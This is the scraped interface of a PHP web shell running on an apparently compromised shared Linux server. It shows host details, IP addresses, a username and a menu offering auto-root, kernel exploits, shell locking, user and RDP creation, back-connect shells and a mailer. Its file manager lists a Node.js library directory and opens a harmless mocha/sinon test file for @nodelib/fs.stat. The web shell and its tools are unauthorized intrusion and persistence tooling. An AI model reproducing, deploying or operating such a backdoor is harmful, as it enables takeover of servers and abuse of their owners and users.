Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
@nodelib /
fs.stat /
out /
providers /
[ HOME SHELL ]
Name
Size
Permission
Action
async.d.ts
301
B
-rw-r--r--
async.d.ts.map
369
B
-rw-r--r--
async.js
1.11
KB
-rw-r--r--
async.spec.d.ts
52
B
-rw-r--r--
async.spec.d.ts.map
127
B
-rw-r--r--
async.spec.js
3.88
KB
-rw-r--r--
sync.d.ts
178
B
-rw-r--r--
sync.d.ts.map
260
B
-rw-r--r--
sync.js
642
B
-rw-r--r--
sync.spec.d.ts
51
B
-rw-r--r--
sync.spec.d.ts.map
125
B
-rw-r--r--
sync.spec.js
3.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : async.spec.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const assert = require("assert"); const sinon = require("sinon"); const fs_macchiato_1 = require("../../../fs.macchiato"); const settings_1 = require("../settings"); const provider = require("./async"); describe('Providers → Async', () => { describe('.read', () => { it('should return lstat for non-symlink entry', (done) => { const lstat = sinon.stub().yields(null, new fs_macchiato_1.Stats()); const settings = new settings_1.default({ fs: { lstat } }); provider.read('filepath', settings, (error, stats) => { assert.strictEqual(error, null); assert.strictEqual(stats.ino, 0); done(); }); }); it('should return lstat for symlink entry when the "followSymbolicLink" option is disabled', (done) => { const lstat = sinon.stub().yields(null, new fs_macchiato_1.Stats({ isSymbolicLink: true })); const settings = new settings_1.default({ followSymbolicLink: false, fs: { lstat } }); provider.read('filepath', settings, (error, stats) => { assert.strictEqual(error, null); assert.strictEqual(stats.ino, 0); done(); }); }); it('should return stat for symlink entry', (done) => { const lstat = sinon.stub().yields(null, new fs_macchiato_1.Stats({ isSymbolicLink: true })); const stat = sinon.stub().yields(null, new fs_macchiato_1.Stats({ ino: 1 })); const settings = new settings_1.default({ fs: { lstat, stat } }); provider.read('filepath', settings, (error, stats) => { assert.strictEqual(error, null); assert.strictEqual(stats.ino, 1); done(); }); }); it('should return marked stat for symlink entry when the "markSymbolicLink" option is enabled', (done) => { const lstat = sinon.stub().yields(null, new fs_macchiato_1.Stats({ isSymbolicLink: true })); const stat = sinon.stub().yields(null, new fs_macchiato_1.Stats({ ino: 1 })); const settings = new settings_1.default({ fs: { lstat, stat }, markSymbolicLink: true }); provider.read('filepath', settings, (error, stats) => { assert.strictEqual(error, null); assert.strictEqual(stats.isSymbolicLink(), true); done(); }); }); it('should return lstat for broken symlink entry when the "throwErrorOnBrokenSymbolicLink" option is disabled', (done) => { const lstat = sinon.stub().yields(null, new fs_macchiato_1.Stats({ isSymbolicLink: true })); const stat = sinon.stub().yields(new Error()); const settings = new settings_1.default({ fs: { lstat, stat }, throwErrorOnBrokenSymbolicLink: false }); provider.read('filepath', settings, (error, stats) => { assert.strictEqual(error, null); assert.strictEqual(stats.ino, 0); done(); }); }); it('should throw an error when symlink entry is broken', (done) => { const lstat = sinon.stub().yields(null, new fs_macchiato_1.Stats({ isSymbolicLink: true })); const stat = sinon.stub().yields(new Error('broken')); const settings = new settings_1.default({ fs: { lstat, stat } }); provider.read('filepath', settings, (error) => { assert.strictEqual(error.message, 'broken'); done(); }); }); }); });
Close